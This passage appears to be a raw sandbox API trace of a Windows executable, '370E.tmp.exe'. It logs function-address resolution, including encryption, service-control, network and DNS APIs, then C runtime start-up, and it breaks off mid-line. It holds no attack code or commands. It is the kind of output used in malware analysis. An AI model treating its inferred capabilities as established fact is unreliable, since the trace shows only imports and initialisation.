(hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0032.280] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0032.280] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0032.280] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0032.280] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0032.280] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0032.281] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0032.281] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0032.281] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0032.281] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0032.281] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0032.281] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0032.281] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0032.281] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeZoneInformation") returned 0x76c3465a [0032.281] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0032.281] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0032.281] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0032.281] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0032.281] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0032.281] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoW") returned 0x76c33c42 [0032.282] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocale") returned 0x76c4ce46 [0032.282] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLCID") returned 0x76c33da5 [0032.282] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesW") returned 0x76cb425f [0032.282] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatW") returned 0x76c534d7 [0032.282] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatW") returned 0x76c4f481 [0032.282] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringW") returned 0x76c33bca [0032.282] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0032.282] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0032.282] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0032.282] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0032.282] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0032.283] GetProcAddress (hModule=0x76c20000, lpProcName="SetEndOfFile") returned 0x76c4ce2e [0032.283] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0032.283] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0032.283] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0032.283] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0032.283] GetProcAddress (hModule=0x76c20000, lpProcName="ReadConsoleW") returned 0x76cd739a [0032.283] GetProcAddress (hModule=0x76c20000, lpProcName="OutputDebugStringW") returned 0x76c5d1d4 [0032.283] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleCtrlHandler") returned 0x76c38a09 [0032.283] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0032.283] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0032.283] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0032.283] GetProcAddress (hModule=0x76c20000, lpProcName="AreFileApisANSI") returned 0x76cb40d1 [0032.283] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0032.283] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0032.283] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0032.284] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThread") returned 0x76c317ec [0032.284] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0032.284] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0032.284] GetProcAddress (hModule=0x76c20000, lpProcName="SetEnvironmentVariableA") returned 0x76c3e331 [0032.284] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0032.284] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0032.284] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0032.284] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0032.284] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreW") returned 0x76c4ca5a [0032.284] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0032.284] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0032.284] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0032.284] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0032.284] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0032.285] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0032.285] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0032.285] GetProcAddress (hModule=0x74f40000, lpProcName="LoadCursorW") returned 0x74f588f7 [0032.285] GetProcAddress (hModule=0x74f40000, lpProcName="TranslateMessage") returned 0x74f57809 [0032.285] GetProcAddress (hModule=0x74f40000, lpProcName="RegisterClassExW") returned 0x74f5b17d [0032.285] GetProcAddress (hModule=0x74f40000, lpProcName="ShowWindow") returned 0x74f60dfb [0032.285] GetProcAddress (hModule=0x74f40000, lpProcName="IsWindow") returned 0x74f57136 [0032.285] GetProcAddress (hModule=0x74f40000, lpProcName="CreateWindowExW") returned 0x74f58a29 [0032.285] GetProcAddress (hModule=0x74f40000, lpProcName="UpdateWindow") returned 0x74f63559 [0032.285] GetProcAddress (hModule=0x74f40000, lpProcName="DefWindowProcW") returned 0x771625dd [0032.285] GetProcAddress (hModule=0x74f40000, lpProcName="PeekMessageW") returned 0x74f605ba [0032.285] GetProcAddress (hModule=0x74f40000, lpProcName="PostThreadMessageW") returned 0x74f58bff [0032.285] GetProcAddress (hModule=0x74f40000, lpProcName="MessageBoxW") returned 0x74fafd3f [0032.285] GetProcAddress (hModule=0x74f40000, lpProcName="DispatchMessageW") returned 0x74f5787b [0032.285] GetProcAddress (hModule=0x74f40000, lpProcName="PostQuitMessage") returned 0x74f59abb [0032.286] GetProcAddress (hModule=0x74f40000, lpProcName="DestroyWindow") returned 0x74f59a55 [0032.286] GetProcAddress (hModule=0x74f40000, lpProcName="SendMessageW") returned 0x74f59679 [0032.286] GetProcAddress (hModule=0x74f40000, lpProcName="GetMessageW") returned 0x74f578e2 [0032.286] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0032.286] GetProcAddress (hModule=0x74d40000, lpProcName="CryptGetHashParam") returned 0x74d4df7e [0032.286] GetProcAddress (hModule=0x74d40000, lpProcName="CryptAcquireContextW") returned 0x74d4df14 [0032.286] GetProcAddress (hModule=0x74d40000, lpProcName="OpenSCManagerW") returned 0x74d4ca64 [0032.286] GetProcAddress (hModule=0x74d40000, lpProcName="OpenServiceW") returned 0x74d4ca4c [0032.286] GetProcAddress (hModule=0x74d40000, lpProcName="CryptReleaseContext") returned 0x74d4e124 [0032.286] GetProcAddress (hModule=0x74d40000, lpProcName="GetUserNameW") returned 0x74d5157a [0032.286] GetProcAddress (hModule=0x74d40000, lpProcName="CryptHashData") returned 0x74d4df36 [0032.286] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0032.286] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0032.286] GetProcAddress (hModule=0x74d40000, lpProcName="CryptDestroyHash") returned 0x74d4df66 [0032.286] GetProcAddress (hModule=0x74d40000, lpProcName="ControlService") returned 0x74d67144 [0032.287] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0032.287] GetProcAddress (hModule=0x74d40000, lpProcName="CryptCreateHash") returned 0x74d4df4e [0032.287] GetProcAddress (hModule=0x74d40000, lpProcName="CryptEncrypt") returned 0x74d6779b [0032.287] GetProcAddress (hModule=0x74d40000, lpProcName="CryptImportKey") returned 0x74d4c532 [0032.287] GetProcAddress (hModule=0x74d40000, lpProcName="QueryServiceStatus") returned 0x74d52a86 [0032.287] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0032.287] GetProcAddress (hModule=0x74d40000, lpProcName="CloseServiceHandle") returned 0x74d5369c [0032.287] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0033.823] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetPathFromIDListW") returned 0x760617bf [0033.823] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetSpecialFolderLocation") returned 0x7605e141 [0033.823] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0033.823] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteA") returned 0x76217078 [0033.823] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0033.823] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0033.823] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitialize") returned 0x755fb636 [0033.824] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitializeSecurity") returned 0x75607259 [0033.824] GetProcAddress (hModule=0x755e0000, lpProcName="CoUninitialize") returned 0x756286d3 [0033.824] GetProcAddress (hModule=0x755e0000, lpProcName="CoCreateInstance") returned 0x75629d0b [0033.824] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x75220000 [0033.824] GetProcAddress (hModule=0x75220000, lpProcName=0xca) returned 0x7522fd6b [0033.824] GetProcAddress (hModule=0x75220000, lpProcName=0x2) returned 0x75224642 [0033.824] GetProcAddress (hModule=0x75220000, lpProcName=0x9) returned 0x75223eae [0033.824] GetProcAddress (hModule=0x75220000, lpProcName=0x8) returned 0x75223ed5 [0033.824] GetProcAddress (hModule=0x75220000, lpProcName=0x6) returned 0x75223e59 [0033.824] GetProcAddress (hModule=0x75220000, lpProcName=0xc8) returned 0x75223f21 [0033.824] GetProcAddress (hModule=0x75220000, lpProcName=0xc) returned 0x75225dee [0033.824] GetProcAddress (hModule=0x75220000, lpProcName=0xc9) returned 0x75224af8 [0033.824] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x74af0000 [0034.004] GetProcAddress (hModule=0x74af0000, lpProcName="GetAdaptersInfo") returned 0x74af9263 [0034.004] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x75bc0000 [0034.183] GetProcAddress (hModule=0x75bc0000, lpProcName=0xc) returned 0x75bcb131 [0034.183] GetProcAddress (hModule=0x75bc0000, lpProcName=0xb) returned 0x75bc311b [0034.183] GetProcAddress (hModule=0x75bc0000, lpProcName=0x34) returned 0x75bd7673 [0034.183] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x74a90000 [0034.317] GetProcAddress (hModule=0x74a90000, lpProcName="DnsQuery_W") returned 0x74aa572c [0034.318] GetProcAddress (hModule=0x74a90000, lpProcName="DnsFree") returned 0x74a9436b [0034.318] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x759b0000 [0034.318] GetProcAddress (hModule=0x759b0000, lpProcName="CryptStringToBinaryA") returned 0x759e5d77 [0034.318] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749d0000 [0034.504] GetProcAddress (hModule=0x749d0000, lpProcName="atexit") returned 0x749ec544 [0034.504] atexit (param_1=0x2bd0d7) returned 0 [0034.504] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f390 | out: lpSystemTimeAsFileTime=0x18f390*(dwLowDateTime=0xcafd1590, dwHighDateTime=0x1d52ab3)) [0034.504] GetCurrentThreadId () returned 0x618 [0034.504] GetCurrentProcessId () returned 0x414 [0034.504] QueryPerformanceCounter (in: lpPerformanceCount=0x18f388 | out: lpPerformanceCount=0x18f388*=15476895605) returned 1 [0034.504] GetStartupInfoW (in: lpStartupInfo=0x18f320 | out: lpStartupInfo=0x18f320*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x76c33519, hStdOutput=0x7714fd35, hStdError=0x771b7daf)) [0034.504] GetProcessHeap () returned 0x260000 [0034.505] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0034.505] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0034.505] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0034.505] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0034.505] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0034.505] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0034.505] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0034.505] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0034.505] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadStackGuarantee") returned 0x76c3d31f [0034.505] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0034.505] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0034.506] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0034.506] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0034.506] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0034.506] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0034.506] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0034.506] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0034.506] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0034.506] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0034.506] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalProcessorInformation") returned 0x76cb4761 [0034.506] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0034.506] GetProcAddress (hModule=0x76c20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0034.506] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0034.507] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0034.507] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0034.507] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0034.507] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0034.507] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLocaleName") returned 0x76cb47c1 [0034.507] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0034.507] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0034.507] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0034.507] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0034.507] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0034.507] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0034.508] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x3bc) returned 0x30e628 [0034.508] GetCurrentThreadId () returned 0x618 [0034.508] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x18) returned 0x304cf0 [0034.508] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x800) returned 0x30e9f0 [0034.508] GetStartupInfoW (in: lpStartupInfo=0x18f2f0 | out: lpStartupInfo=0x18f2f0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x41a838, hStdOutput=0x51569295, hStdError=0x0)) [0034.508] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0034.508] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0034.508] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0034.508] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe\" " [0034.508] GetEnvironmentStringsW () returned 0x30f1f8* [0034.508] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xaca) returned 0x30fcd0 [0034.508] FreeEnvironmentStringsW (penv=0x30f1f8) returned 1 [0034.508] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x45d598, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\370e.tmp.exe")) returned 0x32 [0034.508] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x6e) returned 0x3107a8 [0034.508] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x98) returned 0x310820 [0034.508] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x3e) returned 0x303890 [0034.508] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x6c) returned 0x3108c0 [0034.508] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x6e) returned 0x310938 [0034.508] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x78) returned 0x301a18 [0034.508] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x62) returned 0x3109b0 [0034.508] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x2e) returned 0x30a420 [0034.508] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x48) returned 0x306108 [0034.508] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x28) returned 0x309dc8 [0034.509] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1a) returned 0x30e2e8 [0034.509] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x4a) returned 0x310a20 [0034.509] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x72) returned 0x301a98 [0034.509] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x30) returned 0x30a458 [0034.509] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x2e) returned 0x30a490 [0034.509] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1c) returned 0x30e310 [0034.509] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xd2) returned 0x310a78 [0034.509] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x7c) returned 0x310b58 [0034.509] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x36) returned 0x310be0 [0034.509] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x3a) returned 0x3038d8 [0034.509] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x90) returned 0x310c20 [0034.509] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x24) returned 0x309df8 [0034.509] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x30) returned 0x30a4c8 [0034.509] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x36) returned 0x310cb8 [0034.509] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x48) returned 0x306158 [0034.509] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x52) returned 0x310cf8 [0034.509] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x3c) returned 0x303920 [0034.509] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x82) returned 0x310d58 [0034.509] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x2e) returned 0x30a500 [0034.509] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1e) returned 0x30e338 [0034.509] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x2c) returned 0x30a538 [0034.509] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x54) returned 0x310de8 [0034.509] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x52) returned 0x310e48 [0034.509] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x2a) returned 0x30a570 [0034.509] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x3c) returned 0x303968 [0034.509] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x54) returned 0x310ea8 [0034.509] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x24) returned 0x309e28 [0034.509] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x30) returned 0x30a5a8 [0034.509] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x8c) returned 0x310f08 [0034.509] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x30fcd0 | out: hHeap=0x260000) returned 1 [0034.510] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x80) returned 0x30f1f8 [0034.510] GetLastError () returned 0x0 [0034.510] SetLastError (dwErrCode=0x0) [0034.510] GetLastError () returned 0x0 [0034.510] SetLastError (dwErrCode=0x0) [0034.510] GetLastError () returned 0x0 [0034.510] SetLastError (dwErrCode=0x0) [0034.510] GetACP () returned 0x4e4 [0034.510] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x220) returned 0x30f280 [0034.510] GetLastError () returned 0x0 [0034.510] SetLastError (dwErrCode=0x0) [0034.510] IsValidCodePage (CodePage=0x4e4) returned 1 [0034.510] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f2e4 | out: lpCPInfo=0x18f2e4) returned 1 [0034.510] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18edac | out: lpCPInfo=0x18edac) returned 1 [0034.510] GetLastError () returned 0x0 [0034.510] SetLastError (dwErrCode=0x0) [0034.510] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f1c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0034.510] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f1c0, cbMultiByte=256, lpWideCharStr=0x18eb28, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0034.510] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpCharType=0x18edc0 | out: lpCharType=0x18edc0) returned 1 [0034.510] GetLastError () returned 0x0 [0034.510] SetLastError (dwErrCode=0x0) [0034.510] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f1c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0034.510] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f1c0, cbMultiByte=256, lpWideCharStr=0x18eaf8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0034.511] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0034.511] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ 